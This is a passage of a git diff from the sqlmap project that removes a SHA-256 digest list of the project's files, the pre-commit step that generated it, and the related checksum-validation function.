-d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py -8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab plugins/generic/filesystem.py -efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py -ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py -7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py -da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py -cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py -38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py -b7425eb6a1c7b43b175a0312183579bedac0abda4fcaa42c383388626ea1b683 README.md -46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py -9b6bcffc94023b291ef231760fa134140dc2448dd81b235088d6bff020502c6b sqlmapapi.yaml -627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py -eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py -a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py -cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py -0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe tamper/appendnullbyte.py -11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py -1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13 tamper/between.py -6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py -3fb1a7f8a37d8a49fb88fa880e163ff75a2b224c4a7799abe29bec1a367d5273 tamper/blindbinary.py -f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49 tamper/bluecoat.py -69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36 tamper/chardoubleencode.py -c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py -72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0 tamper/charunicodeencode.py -249c938290c93df028a2b72762e6683be3ef6ea2bc334dd106af6d1a8048b97b tamper/charunicodeescape.py -d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16 tamper/commalesslimit.py -1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7 tamper/commalessmid.py -ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/commentbeforeparentheses.py -27f74b1c007713f753e0278bc056b09cd715c364847977962d6a198ecefa14ff tamper/concat2concatws.py -4cc9f6d319fbf3b60de4b9a487f9630e95cfef0ebf7749b623526b91510668a5 tamper/decentities.py -1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py -ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8 tamper/equaltolike.py -c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d tamper/equaltorlike.py -d06c4ba69f645fe60e786085c76fa163708938d105652a03d03f3e0407357205 tamper/escapequotes.py -0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py -89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5 tamper/halfversionedmorekeywords.py -76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022 tamper/hex2char.py -731e7ab9996dbe701d5a4971540c92245d204c11bf00efcb905bb27f3269e97b tamper/hexentities.py -7324f520834d6072896df56802dca416ef66c175c339ed498708144bb51d193d tamper/htmlencode.py -d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7 tamper/if2case.py -55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0 tamper/ifnull2casewhenisnull.py -eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c tamper/ifnull2ifisnull.py -94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py -ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95 tamper/infoschema2innodb.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py -017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py -d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py -a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py -93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py -d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py -eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py -b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py -6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py -687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py -07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py -b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py -0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba tamper/percentage.py -5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py -3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py -f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0 tamper/randomcase.py -5a7047f97c1e6a29e37c13607d92776f1b0eebce96f7e4d6926f459e73abb382 tamper/randomcomments.py -e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py -21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py -7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py -7e23241588e21e17e2d167f696ebaa82b441338370e654357bbf29ee5393cb87 tamper/space2comment.py -68b541ef75925f8e88a93129d3da259e0bbf7254febf637275382964a2763789 tamper/space2dash.py -181b201f230aa6104c1a184091e292f8529b0bb1b0c5c1b69ded33c248c2d1e3 tamper/space2hash.py -e390a99ea7c8de562a489c11c245c8b778b58090f636d231ce06a22829eaddb5 tamper/space2morecomment.py -cd972178ac4464c6692939c347a03a8c1f3f5dae9d3ef83ae82328fa542b7f49 tamper/space2morehash.py -45994faf85d0329efae3a6d34cc978dde5802f5f34614c52575e38e36c98b7d2 tamper/space2mssqlblank.py -7fbaceff3722a32c65f3e3857a61188f05f9ea241f6393670dbb14f7081b542c tamper/space2mssqlhash.py -05ea031d1de1073cf0efd336ec70814403169e4123709447854129a0d4032e24 tamper/space2mysqlblank.py -0a3bc5380bddbfddfd32ce0a353f1abf57894f03262503c4f6e88748ae4a7f58 tamper/space2mysqldash.py -ef090bed1c71b5d6cd6422748799236dbdadbc70593a7b8ccb26ad07c7a76946 tamper/space2plus.py -93d1cf1f6fb977356c4c8dc2d7784d4564b8da3d9f16e8253f957f80af2491f3 tamper/space2randomblank.py -477ae0f9e3fe48b2fe5ced7b525b05a8e1db66963ff19dbb38dc810443dece57 tamper/sp_password.py -8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py -4b0dc71cef8daa67bcd54059e2a488340da9d64b5b2f848b2e2eff8972fc1649 tamper/symboliclogical.py -dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unionalltounion.py -9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py -67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py -3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py -7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512 tamper/versionedkeywords.py -0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py -ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py -44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py -0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py -9dc0ce7a038e7ac67c7f992b478a58492dad335d14761fa0600eec1f5a339c76 tests/test_api.py -694d8c87b2b98d7de6bc09fd634a2d32c436c7955c793cca6fa8790d3868f701 tests/test_bigarray.py -aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py -27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py -9cc73e06ba3b4c07e0d8f5fd1962f8f25ba6b7ab7278cfb094bfff76fe5e7328 tests/test_checks.py -9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py -2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -886754f39804a4f3f7157124b21ce08d9bad83d156dcd81bc942521bb42c4a29 tests/test_common.py -899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py -7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py -a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py -75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py -6e3c08e1f76dd6c782d2ddc505b4e1a751b381c88ad91f79a95bf49f9c28a28f tests/test_databases_enum.py -c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py -9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py -7cf63166206d543ff4423e1b5bda3ec3212805b0aeaf95d877117df7eb79c8ec tests/test_dbms_enum.py -3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py -180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py -fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py -41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py -993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -6047483d7fb41e0dbf4b067394d8a9e2b39b99faf473db963de6f2f67c052b03 tests/test_dns_server.py -3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py -118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py -2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py -f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py -ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py -950527f0abaffdc031e34336a870cd0f89723ee8589bf77763f5978f5e4c0be8 tests/test_filesystem.py -31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py -abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py -b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py -50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py -92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py -cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py -0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py -c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py -b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py -139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py -0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py -22629df783f75a88c2a30ffb8e37af095e761b771322fefbd69bdd7a5c9348fb tests/test_ldap.py -571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py -d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py -2f6d2270b26f68b3c9b511364c57eb5eb7b010ff716346fe2b320df30280f94c tests/test_nosql.py -88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py -a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py -6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py -fc698e34b53e95c2cc190dadb087d5873711202b2c5eef9db9fc6de5f9c88063 tests/test_pagecontent.py -7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py -6cfe189c49749a2e0bc551173f5d2c4eb5aad8cbb1f9584ecc60958b9a842725 tests/test_payload_marking.py -6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py -d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py -2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py -9a0915f34e1f80a2989238fcce940734cd886020c549711a8444e7ee62eab812 tests/test_purge.py -2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py -427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py -4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py -cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py -575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py -a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py -295581435c4dbf7fe6c291bbf0163c43ccb6ee610e6f3f2609bfeed734c91a1a tests/test_sgmllib.py -d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -19e1e17d7a94e42cf75a37901c3468c79807a2d423bd1988b6f4a2566b864f3b tests/test_ssti.py -8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py -8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py -b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py -cc67045d60472913eca574d601077e5111a95f4563c66caf361b8deaa2bed03c tests/test_targeturl.py -d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py -61769e1d6c4429659ebfb2de696b506821e3c6f3ca81b4318ce790b9553ca6a3 tests/test_texthelpers.py -095a889a6274f0f8e437bf9a23e4b073ab6c4b60aba582e6d1e2099645f1d883 tests/test_threads.py -8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py -48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py -4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py -b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_users_enum.py -729b3a5e00fff2e2b6c3acd3fd3e970ac1985c0a6ad1829b23c4099bd409afa1 tests/_testutils.py -2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py -93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py -81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py -9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py -55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py -f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py -7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py -f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py -9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py -0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py -901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py -df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py -1992d17873fa151467e3786f48ea060b161a984acacf2a7a460390c55782de48 thirdparty/chardet/charsetgroupprober.py -2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py -558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py -e34cebeb0202670927c72b8b18670838fcaf7bc0d379b0426dbbedb6f9e6a794 thirdparty/chardet/compat.py -4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py -0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py -924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py -46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py -883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py -fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py -32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py -368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py -d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py -257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py -806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py -737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py -99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940 thirdparty/chardet/__init__.py -be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py -3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py -c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999 thirdparty/chardet/langbulgarianmodel.py -0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60 thirdparty/chardet/langgreekmodel.py -02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f thirdparty/chardet/langhebrewmodel.py -2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df thirdparty/chardet/langhungarianmodel.py -b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487 thirdparty/chardet/langrussianmodel.py -6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5 thirdparty/chardet/langthaimodel.py -8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a thirdparty/chardet/langturkishmodel.py -4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py -011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py -87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py -498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py -9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304 thirdparty/chardet/sbcharsetprober.py -86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557 thirdparty/chardet/sbcsgroupprober.py -208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py -0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab thirdparty/chardet/universaldetector.py -21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py -0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f thirdparty/chardet/version.py -1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py -4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34 thirdparty/colorama/ansi.py -d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c thirdparty/colorama/ansitowin32.py -fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5 thirdparty/colorama/initialise.py -c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf thirdparty/colorama/__init__.py -61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b thirdparty/colorama/win32.py -5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775 thirdparty/colorama/winterm.py -4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py -6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py -dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json -e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py -edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py -d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py -4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py -2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py -3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py -4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py -c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py -7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE -c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1 thirdparty/socks/socks.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py -b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py -4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py -ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927 thirdparty/wininetpton/win_inet_pton.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index b20e1630996..971e794be6a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The `MultipartPost` library located under `thirdparty/multipart/`. - Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 300916ae369..e82f47c46d4 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" -DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS -DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 @@ -37,6 +35,3 @@ then fi git add "$SETTINGS_FULLPATH" fi - -cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - -git add "$DIGEST_FULLPATH" diff --git a/lib/core/common.py b/lib/core/common.py index e4d0fce445b..09d2d308c66 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1586,7 +1586,6 @@ def setPaths(rootPath): paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") @@ -5840,30 +5839,35 @@ def chunkSplitPostData(data): return "".join(retVal) -def checkSums(): +def isGitRepository(): """ - Validate the content of the digest file (i.e. sha256sums.txt) - >>> checkSums() + Whether the running source tree is a git working 